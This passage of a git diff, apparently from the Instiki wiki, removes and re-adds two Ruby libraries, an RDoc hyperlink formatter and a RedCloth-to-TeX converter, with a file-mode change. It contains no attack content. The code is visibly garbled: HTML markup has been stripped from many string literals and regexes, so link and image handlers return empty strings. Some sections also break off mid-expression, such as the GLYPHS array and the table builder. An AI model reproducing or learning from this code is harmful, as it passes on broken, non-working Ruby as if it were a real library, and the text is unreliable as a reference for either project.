+# raise "Foo: '#{foo}' is not equal to Bar: '#{bar}'" if (foo != bar)
+#
+# then the operation is not committed; Rails returns the user to the page
+# where s/he was entering foo and bar, and the error message will be displayed
+# on the page
+
+module Instiki
+ class ValidationError < StandardError
+ end
end
\ No newline at end of file
diff --git a/libraries/rdocsupport.rb b/libraries/rdocsupport.rb
old mode 100755
new mode 100644
index 62b84cb8..0aaf842f
--- a/libraries/rdocsupport.rb
+++ b/libraries/rdocsupport.rb
@@ -1,152 +1,152 @@
-begin
- require "rdoc/markup/simple_markup"
- require 'rdoc/markup/simple_markup/to_html'
-rescue LoadError
- # use old version if available
- require 'markup/simple_markup'
- require 'markup/simple_markup/to_html'
-end
-
-module RDocSupport
-
-# A simple +rdoc+ markup class which recognizes some additional
-# formatting commands suitable for Wiki use.
-class RDocMarkup < SM::SimpleMarkup
- def initialize
- super()
-
- pre = '(?:\\s|^|\\\\)'
-
- # links of the form
- # [[
- add_special(%r{(#{pre}
)}, :BR)
-
- # and
- def handle_special_BR(special)
- return "<br/>" if special.text[0,1] == '\\'
- special.text
- end
-
- # We're invoked with a potential external hyperlink.
- # [mailto:] just gets inserted.
- # [http:] links are checked to see if they
- # reference an image. If so, that image gets inserted
- # using an tag. Otherwise a conventional
- # is used.
- # [img:] insert a tag
- # [link:] used to insert arbitrary references
- # [anchor:] used to create an anchor
- def handle_special_HYPERLINK(special)
- text = special.text.strip
- return text[1..-1] if text[0,1] == '\\'
- url = special.text.strip
- if url =~ /([A-Za-z]+):(.*)/
- type = $1
- path = $2
- else
- type = "http"
- path = url
- url = "http://#{url}"
- end
-
- case type
- when "http"
- if url =~ /\.(gif|png|jpg|jpeg|bmp)$/
- ""
- else
- "#{url.sub(%r{^\w+:/*}, '')}"
- end
- when "img"
- ""
- when "link"
- "#{path}"
- when "anchor"
- ""
- else
- "#{url.sub(%r{^\w+:/*}, '')}"
- end
- end
-
- # Here's a hyperlink where the label is different to the URL
- # [[url label that may contain spaces]]
- #
-
- def handle_special_TIDYLINK(special)
- text = special.text.strip
- return text[1..-1] if text[0,1] == '\\'
- unless text =~ /\[\[(\S+?)\s+(.+?)\]\]/
- return text
- end
- url = $1
- label = $2
- label = RDocFormatter.new(label).to_html
- label = label.split.select{|x| x =~ /\S/}.
- map{|x| x.chomp}.join(' ')
-
- case url
- when /link:(\S+)/
- return %{#{label}}
- when /img:(\S+)/
- return %{}
- when /rubytalk:(\S+)/
- return %{#{label}}
- when /rubygarden:(\S+)/
- return %{#{label}}
- when /c2:(\S+)/
- return %{#{label}}
- when /isbn:(\S+)/
- return %{#{label}}
- end
-
- unless url =~ /\w+?:/
- url = "http://#{url}"
- end
-
- "#{label}"
- end
-end
-
-class RDocFormatter
- def initialize(text)
- @text = text
- end
-
- def to_html
- markup = RDocMarkup.new
- h = HyperLinkHtml.new
- markup.convert(@text, h)
- end
-end
-
+begin
+ require "rdoc/markup/simple_markup"
+ require 'rdoc/markup/simple_markup/to_html'
+rescue LoadError
+ # use old version if available
+ require 'markup/simple_markup'
+ require 'markup/simple_markup/to_html'
+end
+
+module RDocSupport
+
+# A simple +rdoc+ markup class which recognizes some additional
+# formatting commands suitable for Wiki use.
+class RDocMarkup < SM::SimpleMarkup
+ def initialize
+ super()
+
+ pre = '(?:\\s|^|\\\\)'
+
+ # links of the form
+ # [[
+ add_special(%r{(#{pre}
)}, :BR)
+
+ # and
+ def handle_special_BR(special)
+ return "<br/>" if special.text[0,1] == '\\'
+ special.text
+ end
+
+ # We're invoked with a potential external hyperlink.
+ # [mailto:] just gets inserted.
+ # [http:] links are checked to see if they
+ # reference an image. If so, that image gets inserted
+ # using an tag. Otherwise a conventional
+ # is used.
+ # [img:] insert a tag
+ # [link:] used to insert arbitrary references
+ # [anchor:] used to create an anchor
+ def handle_special_HYPERLINK(special)
+ text = special.text.strip
+ return text[1..-1] if text[0,1] == '\\'
+ url = special.text.strip
+ if url =~ /([A-Za-z]+):(.*)/
+ type = $1
+ path = $2
+ else
+ type = "http"
+ path = url
+ url = "http://#{url}"
+ end
+
+ case type
+ when "http"
+ if url =~ /\.(gif|png|jpg|jpeg|bmp)$/
+ ""
+ else
+ "#{url.sub(%r{^\w+:/*}, '')}"
+ end
+ when "img"
+ ""
+ when "link"
+ "#{path}"
+ when "anchor"
+ ""
+ else
+ "#{url.sub(%r{^\w+:/*}, '')}"
+ end
+ end
+
+ # Here's a hyperlink where the label is different to the URL
+ # [[url label that may contain spaces]]
+ #
+
+ def handle_special_TIDYLINK(special)
+ text = special.text.strip
+ return text[1..-1] if text[0,1] == '\\'
+ unless text =~ /\[\[(\S+?)\s+(.+?)\]\]/
+ return text
+ end
+ url = $1
+ label = $2
+ label = RDocFormatter.new(label).to_html
+ label = label.split.select{|x| x =~ /\S/}.
+ map{|x| x.chomp}.join(' ')
+
+ case url
+ when /link:(\S+)/
+ return %{#{label}}
+ when /img:(\S+)/
+ return %{}
+ when /rubytalk:(\S+)/
+ return %{#{label}}
+ when /rubygarden:(\S+)/
+ return %{#{label}}
+ when /c2:(\S+)/
+ return %{#{label}}
+ when /isbn:(\S+)/
+ return %{#{label}}
+ end
+
+ unless url =~ /\w+?:/
+ url = "http://#{url}"
+ end
+
+ "#{label}"
+ end
+end
+
+class RDocFormatter
+ def initialize(text)
+ @text = text
+ end
+
+ def to_html
+ markup = RDocMarkup.new
+ h = HyperLinkHtml.new
+ markup.convert(@text, h)
+ end
+end
+
end
\ No newline at end of file
diff --git a/libraries/redcloth_for_tex.rb b/libraries/redcloth_for_tex.rb
old mode 100755
new mode 100644
index 7f7f52ce..fbf23688
--- a/libraries/redcloth_for_tex.rb
+++ b/libraries/redcloth_for_tex.rb
@@ -1,733 +1,733 @@
-# This is RedCloth (http://www.whytheluckystiff.net/ruby/redcloth/)
-# converted by David Heinemeier Hansson to emit Tex
-
-class String
- # Flexible HTML escaping
- def texesc!( mode )
- gsub!( '&', '\\\\&' )
- gsub!( '%', '\%' )
- gsub!( '$', '\$' )
- end
-end
-
-
-def table_of_contents(text, pages)
- text.gsub!( /^([#*]+? .*?)$(?![^#*])/m ) do |match|
- lines = match.split( /\n/ )
- last_line = -1
- depth = []
- lines.each_with_index do |line, line_id|
- if line =~ /^([#*]+) (.*)$/m
- tl,content = $~[1..2]
- content.gsub! /[\[\]]/, ""
- content.strip!
-
- if depth.last
- if depth.last.length > tl.length
- (depth.length - 1).downto(0) do |i|
- break if depth[i].length == tl.length
- lines[line_id - 1] << "" # "\n\t\\end{#{ lT( depth[i] ) }}\n\t"
- depth.pop
- end
- end
- if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length
- lines[line_id - 1] << ''
- end
- end
-
- depth << tl unless depth.last == tl
-
- subsection_depth = [depth.length - 1, 2].min
-
- lines[line_id] = "\n\\#{ "sub" * subsection_depth }section{#{ content }}"
- lines[line_id] += "\n#{pages[content]}" if pages.keys.include?(content)
-
- lines[line_id] = "\\pagebreak\n#{lines[line_id]}" if subsection_depth == 0
-
- last_line = line_id
-
- elsif line =~ /^\s+\S/
- last_line = line_id
- elsif line_id - last_line < 2 and line =~ /^\S/
- last_line = line_id
- end
- if line_id - last_line > 1 or line_id == lines.length - 1
- depth.delete_if do |v|
- lines[last_line] << "" # "\n\t\\end{#{ lT( v ) }}"
- end
- end
- end
- lines.join( "\n" )
- end
-end
-
-class RedClothForTex < String
-
- VERSION = '2.0.7'
-
- #
- # Mapping of 8-bit ASCII codes to HTML numerical entity equivalents.
- # (from PyTextile)
- #
- TEXTILE_TAGS =
-
- [[128, 8364], [129, 0], [130, 8218], [131, 402], [132, 8222], [133, 8230],
- [134, 8224], [135, 8225], [136, 710], [137, 8240], [138, 352], [139, 8249],
- [140, 338], [141, 0], [142, 0], [143, 0], [144, 0], [145, 8216], [146, 8217],
- [147, 8220], [148, 8221], [149, 8226], [150, 8211], [151, 8212], [152, 732],
- [153, 8482], [154, 353], [155, 8250], [156, 339], [157, 0], [158, 0], [159, 376]].
-
- collect! do |a, b|
- [a.chr, ( b.zero? and "" or "{ b };" )]
- end
-
- #
- # Regular expressions to convert to HTML.
- #
- A_HLGN = /(?:(?:<>|<|>|\=|[()]+)+)/
- A_VLGN = /[\-^~]/
- C_CLAS = '(?:\([^)]+\))'
- C_LNGE = '(?:\[[^\]]+\])'
- C_STYL = '(?:\{[^}]+\})'
- S_CSPN = '(?:\\\\\d+)'
- S_RSPN = '(?:/\d+)'
- A = "(?:#{A_HLGN}?#{A_VLGN}?|#{A_VLGN}?#{A_HLGN}?)"
- S = "(?:#{S_CSPN}?#{S_RSPN}|#{S_RSPN}?#{S_CSPN}?)"
- C = "(?:#{C_CLAS}?#{C_STYL}?#{C_LNGE}?|#{C_STYL}?#{C_LNGE}?#{C_CLAS}?|#{C_LNGE}?#{C_STYL}?#{C_CLAS}?)"
- # PUNCT = Regexp::quote( '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' )
- PUNCT = Regexp::quote( '!"#$%&\'*+,-./:;=?@\\^_`|~' )
- HYPERLINK = '(\S+?)([^\w\s/;=\?]*?)(\s|$)'
-
- GLYPHS = [
- # [ /([^\s\[{(>])?\'([dmst]\b|ll\b|ve\b|\s|:|$)/, '\1’\2' ], # single closing
- [ /([^\s\[{(>])\'/, '\1’' ], # single closing
- [ /\'(?=\s|s\b|[#{PUNCT}])/, '’' ], # single closing
- [ /\'/, '‘' ], # single opening
- # [ /([^\s\[{(])?"(\s|:|$)/, '\1”\2' ], # double closing
- [ /([^\s\[{(>])"/, '\1”' ], # double closing
- [ /"(?=\s|[#{PUNCT}])/, '”' ], # double closing
- [ /"/, '“' ], # double opening
- [ /\b( )?\.{3}/, '\1…' ], # ellipsis
- [ /\b([A-Z][A-Z0-9]{2,})\b(?:[(]([^)]*)[)])/, '\1' ], # 3+ uppercase acronym
- [ /(^|[^"][>\s])([A-Z][A-Z0-9 ]{2,})([^
/, "
\n" )
- text.strip!
- text
-
- end
-
- def pgl( text )
- GLYPHS.each do |re, resub|
- text.gsub! re, resub
- end
- end
-
- def pba( text_in, element = "" )
-
- return '' unless text_in
-
- style = []
- text = text_in.dup
- if element == 'td'
- colspan = $1 if text =~ /\\(\d+)/
- rowspan = $1 if text =~ /\/(\d+)/
- style << "vertical-align:#{ v_align( $& ) };" if text =~ A_VLGN
- end
-
- style << "#{ $1 };" if not @filter_styles and
- text.sub!( /\{([^}]*)\}/, '' )
-
- lang = $1 if
- text.sub!( /\[([^)]+?)\]/, '' )
-
- cls = $1 if
- text.sub!( /\(([^()]+?)\)/, '' )
-
- style << "padding-left:#{ $1.length }em;" if
- text.sub!( /([(]+)/, '' )
-
- style << "padding-right:#{ $1.length }em;" if text.sub!( /([)]+)/, '' )
-
- style << "text-align:#{ h_align( $& ) };" if text =~ A_HLGN
-
- cls, id = $1, $2 if cls =~ /^(.*?)#(.*)$/
-
- atts = ''
- atts << " style=\"#{ style.join }\"" unless style.empty?
- atts << " class=\"#{ cls }\"" unless cls.to_s.empty?
- atts << " lang=\"#{ lang }\"" if lang
- atts << " id=\"#{ id }\"" if id
- atts << " colspan=\"#{ colspan }\"" if colspan
- atts << " rowspan=\"#{ rowspan }\"" if rowspan
-
- atts
- end
-
- def table( text )
- text << "\n\n"
- text.gsub!( /^(?:table(_?#{S}#{A}#{C})\. ?\n)?^(#{A}#{C}\.? ?\|.*?\|)\n\n/m ) do |matches|
-
- tatts, fullrow = $~[1..2]
- tatts = pba( tatts, 'table' )
- rows = []
-
- fullrow.
- split( /\|$/m ).
- delete_if { |x| x.empty? }.
- each do |row|
-
- ratts, row = pba( $1, 'tr' ), $2 if row =~ /^(#{A}#{C}\. )(.*)/m
-
- cells = []
- row.split( '|' ).each do |cell|
- ctyp = 'd'
- ctyp = 'h' if cell =~ /^_/
-
- catts = ''
- catts, cell = pba( $1, 'td' ), $2 if cell =~ /^(_?#{S}#{A}#{C}\. )(.*)/
-
- unless cell.strip.empty?
- cells << "\t\t\t\n#{ cells.join( "\n" ) }\n\t\t "
- end
- "\t\n#{ rows.join( "\n" ) }\n\t
\n\n"
- end
- end
-
- def lists( text )
- text.gsub!( /^([#*]+?#{C} .*?)$(?![^#*])/m ) do |match|
- lines = match.split( /\n/ )
- last_line = -1
- depth = []
- lines.each_with_index do |line, line_id|
- if line =~ /^([#*]+)(#{A}#{C}) (.*)$/m
- tl,atts,content = $~[1..3]
- if depth.last
- if depth.last.length > tl.length
- (depth.length - 1).downto(0) do |i|
- break if depth[i].length == tl.length
- lines[line_id - 1] << "\n\t\\end{#{ lT( depth[i] ) }}\n\t"
- depth.pop
- end
- end
- if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length
- lines[line_id - 1] << ''
- end
- end
- unless depth.last == tl
- depth << tl
- atts = pba( atts )
- lines[line_id] = "\t\\begin{#{ lT(tl) }}\n\t\\item #{ content }"
- else
- lines[line_id] = "\t\t\\item #{ content }"
- end
- last_line = line_id
-
- elsif line =~ /^\s+\S/
- last_line = line_id
- elsif line_id - last_line < 2 and line =~ /^\S/
- last_line = line_id
- end
- if line_id - last_line > 1 or line_id == lines.length - 1
- depth.delete_if do |v|
- lines[last_line] << "\n\t\\end{#{ lT( v ) }}"
- end
- end
- end
- lines.join( "\n" )
- end
- end
-
- def lT( text )
- text =~ /\#$/ ? 'enumerate' : 'itemize'
- end
-
- def fold( text )
- text.gsub!( /(.+)\n(?![#*\s|])/, "\\1\\\\\\\\" )
- # text.gsub!( /(.+)\n(?![#*\s|])/, "\\1#{ @fold_lines ? ' ' : '
' }" )
- end
-
- def block( text )
- pre = false
- find = ['bq','h[1-6]','fn\d+']
-
- regexp_cue = []
-
- lines = text.split( /\n/ ) + [' ']
- new_text =
- lines.collect do |line|
- pre = true if line =~ /<(pre|notextile)>/i
- find.each do |tag|
- line.gsub!( /^(#{ tag })(#{A}#{C})\.(?::(\S+))? (.*)$/ ) do |m|
- tag,atts,cite,content = $~[1..4]
-
- atts = pba( atts )
-
- if tag =~ /fn(\d+)/
- # tag = 'p';
- # atts << " id=\"fn#{ $1 }\""
- regexp_cue << [ /footnote\{#{$1}}/, "footnote{#{content}}" ]
- content = ""
- end
-
- if tag =~ /h([1-6])/
- section_type = "sub" * [$1.to_i - 1, 2].min
- start = "\t\\#{section_type}section*{"
- tend = "}"
- end
-
- if tag == "bq"
- cite = check_refs( cite )
- cite = " cite=\"#{ cite }\"" if cite
- start = "\t\\begin{quotation}\n\\noindent {\\em ";
- tend = "}\n\t\\end{quotation}";
- end
-
- "#{ start }#{ content }#{ tend }"
- end unless pre
- end
-
- #line.gsub!( /^(?!\t|<\/?pre|<\/?notextile|<\/?code|$| )(.*)/, "\t
", "\n" ) if pre
- # pre = false if line =~ /<\/(pre|notextile)>/i
-
- line
- end.join( "\n" )
- text.replace( new_text )
- regexp_cue.each { |pair| text.gsub!(pair.first, pair.last) }
- end
-
- def span( text )
- QTAGS.each do |tt, ht|
- ttr = Regexp::quote( tt )
- text.gsub!(
-
- /(^|\s|\>|[#{PUNCT}{(\[])
- #{ttr}
- (#{C})
- (?::(\S+?))?
- ([^\s#{ttr}]+?(?:[^\n]|\n(?!\n))*?)
- ([#{PUNCT}]*?)
- #{ttr}
- (?=[\])}]|[#{PUNCT}]+?|<|\s|$)/xm
-
- ) do |m|
-
- start,atts,cite,content,tend = $~[1..5]
- atts = pba( atts )
- atts << " cite=\"#{ cite }\"" if cite
-
- "#{ start }{\\#{ ht } #{ content }#{ tend }}"
-
- end
- end
- end
-
- def links( text )
- text.gsub!( /
- ([\s\[{(]|[#{PUNCT}])? # $pre
- " # start
- (#{C}) # $atts
- ([^"]+?) # $text
- \s?
- (?:\(([^)]+?)\)(?="))? # $title
- ":
- (\S+?) # $url
- (\/)? # $slash
- ([^\w\/;]*?) # $post
- (?=\s|$)
- /x ) do |m|
- pre,atts,text,title,url,slash,post = $~[1..7]
-
- url = check_refs( url )
-
- atts = pba( atts )
- atts << " title=\"#{ title }\"" if title
- atts = shelve( atts ) if atts
-
- "#{ pre }#{ text }#{ post }"
- end
- end
-
- def get_refs( text )
- text.gsub!( /(^|\s)\[(.+?)\]((?:http:\/\/|javascript:|ftp:\/\/|\/)\S+?)(?=\s|$)/ ) do |m|
- flag, url = $~[1..2]
- @urlrefs[flag] = url
- end
- end
-
- def check_refs( text )
- @urlrefs[text] || text
- end
-
- def image( text )
- text.gsub!( /
- \! # opening
- (\<|\=|\>)? # optional alignment atts
- (#{C}) # optional style,class atts
- (?:\. )? # optional dot-space
- ([^\s(!]+?) # presume this is the src
- \s? # optional space
- (?:\(((?:[^\(\)]|\([^\)]+\))+?)\))? # optional title
- \! # closing
- (?::#{ HYPERLINK })? # optional href
- /x ) do |m|
- algn,atts,url,title,href,href_a1,href_a2 = $~[1..7]
- atts = pba( atts )
- atts << " align=\"#{ i_align( algn ) }\"" if algn
- atts << " title=\"#{ title }\"" if title
- atts << " alt=\"#{ title }\""
- # size = @getimagesize($url);
- # if($size) $atts.= " $size[3]";
-
- href = check_refs( href ) if href
- url = check_refs( url )
-
- out = ''
- out << "" if href
- out << ""
- out << "#{ href_a1 }#{ href_a2 }" if href
-
- out
- end
- end
-
- def code( text )
- text.gsub!( /
- (?:^|([\s\(\[{])) # 1 open bracket?
- @ # opening
- (?:\|(\w+?)\|)? # 2 language
- (\S(?:[^\n]|\n(?!\n))*?) # 3 code
- @ # closing
- (?:$|([\]})])|
- (?=[#{PUNCT}]{1,2}|
- \s)) # 4 closing bracket?
- /x ) do |m|
- before,lang,code,after = $~[1..4]
- lang = " language=\"#{ lang }\"" if lang
- "#{ before }#{ code }
#{ after }"
- end
- end
-
- def shelve( val )
- @shelf << val
- " <#{ @shelf.length }>"
- end
-
- def retrieve( text )
- @shelf.each_with_index do |r, i|
- text.gsub!( " <#{ i + 1 }>", r )
- end
- end
-
- def incoming_entities( text )
- ## turn any incoming ampersands into a dummy character for now.
- ## This uses a negative lookahead for alphanumerics followed by a semicolon,
- ## implying an incoming html entity, to be skipped
-
- text.gsub!( /&(?![#a-z0-9]+;)/i, "x%x%" )
- end
-
- def encode_entities( text )
- ## Convert high and low ascii to entities.
- # if $-K == "UTF-8"
- # encode_high( text )
- # else
- text.texesc!( :NoQuotes )
- # end
- end
-
- def fix_entities( text )
- ## de-entify any remaining angle brackets or ampersands
- text.gsub!( "\&", "&" )
- text.gsub!( "\%", "%" )
- end
-
- def clean_white_space( text )
- text.gsub!( /\r\n/, "\n" )
- text.gsub!( /\t/, '' )
- text.gsub!( /\n{3,}/, "\n\n" )
- text.gsub!( /\n *\n/, "\n\n" )
- text.gsub!( /"$/, "\" " )
- end
-
- def no_textile( text )
- text.gsub!( /(^|\s)==(.*?)==(\s|$)?/,
- '\1,
etc.
- if tagline
- if line =~ /<(#{ offtags })>/i
- codepre += 1
- used_offtags[$1] = true
- line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
- elsif line =~ /<\/(#{ offtags })>/i
- line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
- codepre -= 1 unless codepre.zero?
- used_offtags = {} if codepre.zero?
- elsif @filter_html or codepre > 0
- line.texesc!( :NoQuotes )
- ## line.gsub!( /<(\/?#{ offtags })>/, '<\1>' )
- end
- ## do htmlspecial if between
- elsif codepre > 0
- line.texesc!( :NoQuotes )
- ## line.gsub!( /<(\/?#{ offtags })>/, '<\1>' )
- elsif not tagline
- inline line
- glyphs_deep line
- end
-
- line
- end
- end
- end
-
- def glyphs( text )
- text.gsub!( /"\z/, "\" " )
- ## if no html, do a simple search and replace...
- if text !~ /<.*>/
- inline text
- end
- glyphs_deep text
- end
-
- def i_align( text )
- I_ALGN_VALS[text]
- end
-
- def h_align( text )
- H_ALGN_VALS[text]
- end
-
- def v_align( text )
- V_ALGN_VALS[text]
- end
-
- def encode_high( text )
- ## mb_encode_numericentity($text, $cmap, $charset);
- end
-
- def decode_high( text )
- ## mb_decode_numericentity($text, $cmap, $charset);
- end
-
- def textile_popup_help( name, helpvar, windowW, windowH )
- ' ' + name + '
'
- end
-
- CMAP = [
- 160, 255, 0, 0xffff,
- 402, 402, 0, 0xffff,
- 913, 929, 0, 0xffff,
- 931, 937, 0, 0xffff,
- 945, 969, 0, 0xffff,
- 977, 978, 0, 0xffff,
- 982, 982, 0, 0xffff,
- 8226, 8226, 0, 0xffff,
- 8230, 8230, 0, 0xffff,
- 8242, 8243, 0, 0xffff,
- 8254, 8254, 0, 0xffff,
- 8260, 8260, 0, 0xffff,
- 8465, 8465, 0, 0xffff,
- 8472, 8472, 0, 0xffff,
- 8476, 8476, 0, 0xffff,
- 8482, 8482, 0, 0xffff,
- 8501, 8501, 0, 0xffff,
- 8592, 8596, 0, 0xffff,
- 8629, 8629, 0, 0xffff,
- 8656, 8660, 0, 0xffff,
- 8704, 8704, 0, 0xffff,
- 8706, 8707, 0, 0xffff,
- 8709, 8709, 0, 0xffff,
- 8711, 8713, 0, 0xffff,
- 8715, 8715, 0, 0xffff,
- 8719, 8719, 0, 0xffff,
- 8721, 8722, 0, 0xffff,
- 8727, 8727, 0, 0xffff,
- 8730, 8730, 0, 0xffff,
- 8733, 8734, 0, 0xffff,
- 8736, 8736, 0, 0xffff,
- 8743, 8747, 0, 0xffff,
- 8756, 8756, 0, 0xffff,
- 8764, 8764, 0, 0xffff,
- 8773, 8773, 0, 0xffff,
- 8776, 8776, 0, 0xffff,
- 8800, 8801, 0, 0xffff,
- 8804, 8805, 0, 0xffff,
- 8834, 8836, 0, 0xffff,
- 8838, 8839, 0, 0xffff,
- 8853, 8853, 0, 0xffff,
- 8855, 8855, 0, 0xffff,
- 8869, 8869, 0, 0xffff,
- 8901, 8901, 0, 0xffff,
- 8968, 8971, 0, 0xffff,
- 9001, 9002, 0, 0xffff,
- 9674, 9674, 0, 0xffff,
- 9824, 9824, 0, 0xffff,
- 9827, 9827, 0, 0xffff,
- 9829, 9830, 0, 0xffff,
- 338, 339, 0, 0xffff,
- 352, 353, 0, 0xffff,
- 376, 376, 0, 0xffff,
- 710, 710, 0, 0xffff,
- 732, 732, 0, 0xffff,
- 8194, 8195, 0, 0xffff,
- 8201, 8201, 0, 0xffff,
- 8204, 8207, 0, 0xffff,
- 8211, 8212, 0, 0xffff,
- 8216, 8218, 0, 0xffff,
- 8218, 8218, 0, 0xffff,
- 8220, 8222, 0, 0xffff,
- 8224, 8225, 0, 0xffff,
- 8240, 8240, 0, 0xffff,
- 8249, 8250, 0, 0xffff,
- 8364, 8364, 0, 0xffff
- ]
- end
+# This is RedCloth (http://www.whytheluckystiff.net/ruby/redcloth/)
+# converted by David Heinemeier Hansson to emit Tex
+
+class String
+ # Flexible HTML escaping
+ def texesc!( mode )
+ gsub!( '&', '\\\\&' )
+ gsub!( '%', '\%' )
+ gsub!( '$', '\$' )
+ end
+end
+
+
+def table_of_contents(text, pages)
+ text.gsub!( /^([#*]+? .*?)$(?![^#*])/m ) do |match|
+ lines = match.split( /\n/ )
+ last_line = -1
+ depth = []
+ lines.each_with_index do |line, line_id|
+ if line =~ /^([#*]+) (.*)$/m
+ tl,content = $~[1..2]
+ content.gsub! /[\[\]]/, ""
+ content.strip!
+
+ if depth.last
+ if depth.last.length > tl.length
+ (depth.length - 1).downto(0) do |i|
+ break if depth[i].length == tl.length
+ lines[line_id - 1] << "" # "\n\t\\end{#{ lT( depth[i] ) }}\n\t"
+ depth.pop
+ end
+ end
+ if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length
+ lines[line_id - 1] << ''
+ end
+ end
+
+ depth << tl unless depth.last == tl
+
+ subsection_depth = [depth.length - 1, 2].min
+
+ lines[line_id] = "\n\\#{ "sub" * subsection_depth }section{#{ content }}"
+ lines[line_id] += "\n#{pages[content]}" if pages.keys.include?(content)
+
+ lines[line_id] = "\\pagebreak\n#{lines[line_id]}" if subsection_depth == 0
+
+ last_line = line_id
+
+ elsif line =~ /^\s+\S/
+ last_line = line_id
+ elsif line_id - last_line < 2 and line =~ /^\S/
+ last_line = line_id
+ end
+ if line_id - last_line > 1 or line_id == lines.length - 1
+ depth.delete_if do |v|
+ lines[last_line] << "" # "\n\t\\end{#{ lT( v ) }}"
+ end
+ end
+ end
+ lines.join( "\n" )
+ end
+end
+
+class RedClothForTex < String
+
+ VERSION = '2.0.7'
+
+ #
+ # Mapping of 8-bit ASCII codes to HTML numerical entity equivalents.
+ # (from PyTextile)
+ #
+ TEXTILE_TAGS =
+
+ [[128, 8364], [129, 0], [130, 8218], [131, 402], [132, 8222], [133, 8230],
+ [134, 8224], [135, 8225], [136, 710], [137, 8240], [138, 352], [139, 8249],
+ [140, 338], [141, 0], [142, 0], [143, 0], [144, 0], [145, 8216], [146, 8217],
+ [147, 8220], [148, 8221], [149, 8226], [150, 8211], [151, 8212], [152, 732],
+ [153, 8482], [154, 353], [155, 8250], [156, 339], [157, 0], [158, 0], [159, 376]].
+
+ collect! do |a, b|
+ [a.chr, ( b.zero? and "" or "{ b };" )]
+ end
+
+ #
+ # Regular expressions to convert to HTML.
+ #
+ A_HLGN = /(?:(?:<>|<|>|\=|[()]+)+)/
+ A_VLGN = /[\-^~]/
+ C_CLAS = '(?:\([^)]+\))'
+ C_LNGE = '(?:\[[^\]]+\])'
+ C_STYL = '(?:\{[^}]+\})'
+ S_CSPN = '(?:\\\\\d+)'
+ S_RSPN = '(?:/\d+)'
+ A = "(?:#{A_HLGN}?#{A_VLGN}?|#{A_VLGN}?#{A_HLGN}?)"
+ S = "(?:#{S_CSPN}?#{S_RSPN}|#{S_RSPN}?#{S_CSPN}?)"
+ C = "(?:#{C_CLAS}?#{C_STYL}?#{C_LNGE}?|#{C_STYL}?#{C_LNGE}?#{C_CLAS}?|#{C_LNGE}?#{C_STYL}?#{C_CLAS}?)"
+ # PUNCT = Regexp::quote( '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' )
+ PUNCT = Regexp::quote( '!"#$%&\'*+,-./:;=?@\\^_`|~' )
+ HYPERLINK = '(\S+?)([^\w\s/;=\?]*?)(\s|$)'
+
+ GLYPHS = [
+ # [ /([^\s\[{(>])?\'([dmst]\b|ll\b|ve\b|\s|:|$)/, '\1’\2' ], # single closing
+ [ /([^\s\[{(>])\'/, '\1’' ], # single closing
+ [ /\'(?=\s|s\b|[#{PUNCT}])/, '’' ], # single closing
+ [ /\'/, '‘' ], # single opening
+ # [ /([^\s\[{(])?"(\s|:|$)/, '\1”\2' ], # double closing
+ [ /([^\s\[{(>])"/, '\1”' ], # double closing
+ [ /"(?=\s|[#{PUNCT}])/, '”' ], # double closing
+ [ /"/, '“' ], # double opening
+ [ /\b( )?\.{3}/, '\1…' ], # ellipsis
+ [ /\b([A-Z][A-Z0-9]{2,})\b(?:[(]([^)]*)[)])/, '\1' ], # 3+ uppercase acronym
+ [ /(^|[^"][>\s])([A-Z][A-Z0-9 ]{2,})([^
/, "
\n" )
+ text.strip!
+ text
+
+ end
+
+ def pgl( text )
+ GLYPHS.each do |re, resub|
+ text.gsub! re, resub
+ end
+ end
+
+ def pba( text_in, element = "" )
+
+ return '' unless text_in
+
+ style = []
+ text = text_in.dup
+ if element == 'td'
+ colspan = $1 if text =~ /\\(\d+)/
+ rowspan = $1 if text =~ /\/(\d+)/
+ style << "vertical-align:#{ v_align( $& ) };" if text =~ A_VLGN
+ end
+
+ style << "#{ $1 };" if not @filter_styles and
+ text.sub!( /\{([^}]*)\}/, '' )
+
+ lang = $1 if
+ text.sub!( /\[([^)]+?)\]/, '' )
+
+ cls = $1 if
+ text.sub!( /\(([^()]+?)\)/, '' )
+
+ style << "padding-left:#{ $1.length }em;" if
+ text.sub!( /([(]+)/, '' )
+
+ style << "padding-right:#{ $1.length }em;" if text.sub!( /([)]+)/, '' )
+
+ style << "text-align:#{ h_align( $& ) };" if text =~ A_HLGN
+
+ cls, id = $1, $2 if cls =~ /^(.*?)#(.*)$/
+
+ atts = ''
+ atts << " style=\"#{ style.join }\"" unless style.empty?
+ atts << " class=\"#{ cls }\"" unless cls.to_s.empty?
+ atts << " lang=\"#{ lang }\"" if lang
+ atts << " id=\"#{ id }\"" if id
+ atts << " colspan=\"#{ colspan }\"" if colspan
+ atts << " rowspan=\"#{ rowspan }\"" if rowspan
+
+ atts
+ end
+
+ def table( text )
+ text << "\n\n"
+ text.gsub!( /^(?:table(_?#{S}#{A}#{C})\. ?\n)?^(#{A}#{C}\.? ?\|.*?\|)\n\n/m ) do |matches|
+
+ tatts, fullrow = $~[1..2]
+ tatts = pba( tatts, 'table' )
+ rows = []
+
+ fullrow.
+ split( /\|$/m ).
+ delete_if { |x| x.empty? }.
+ each do |row|
+
+ ratts, row = pba( $1, 'tr' ), $2 if row =~ /^(#{A}#{C}\. )(.*)/m
+
+ cells = []
+ row.split( '|' ).each do |cell|
+ ctyp = 'd'
+ ctyp = 'h' if cell =~ /^_/
+
+ catts = ''
+ catts, cell = pba( $1, 'td' ), $2 if cell =~ /^(_?#{S}#{A}#{C}\. )(.*)/
+
+ unless cell.strip.empty?
+ cells << "\t\t\t\n#{ cells.join( "\n" ) }\n\t\t "
+ end
+ "\t\n#{ rows.join( "\n" ) }\n\t
\n\n"
+ end
+ end
+
+ def lists( text )
+ text.gsub!( /^([#*]+?#{C} .*?)$(?![^#*])/m ) do |match|
+ lines = match.split( /\n/ )
+ last_line = -1
+ depth = []
+ lines.each_with_index do |line, line_id|
+ if line =~ /^([#*]+)(#{A}#{C}) (.*)$/m
+ tl,atts,content = $~[1..3]
+ if depth.last
+ if depth.last.length > tl.length
+ (depth.length - 1).downto(0) do |i|
+ break if depth[i].length == tl.length
+ lines[line_id - 1] << "\n\t\\end{#{ lT( depth[i] ) }}\n\t"
+ depth.pop
+ end
+ end
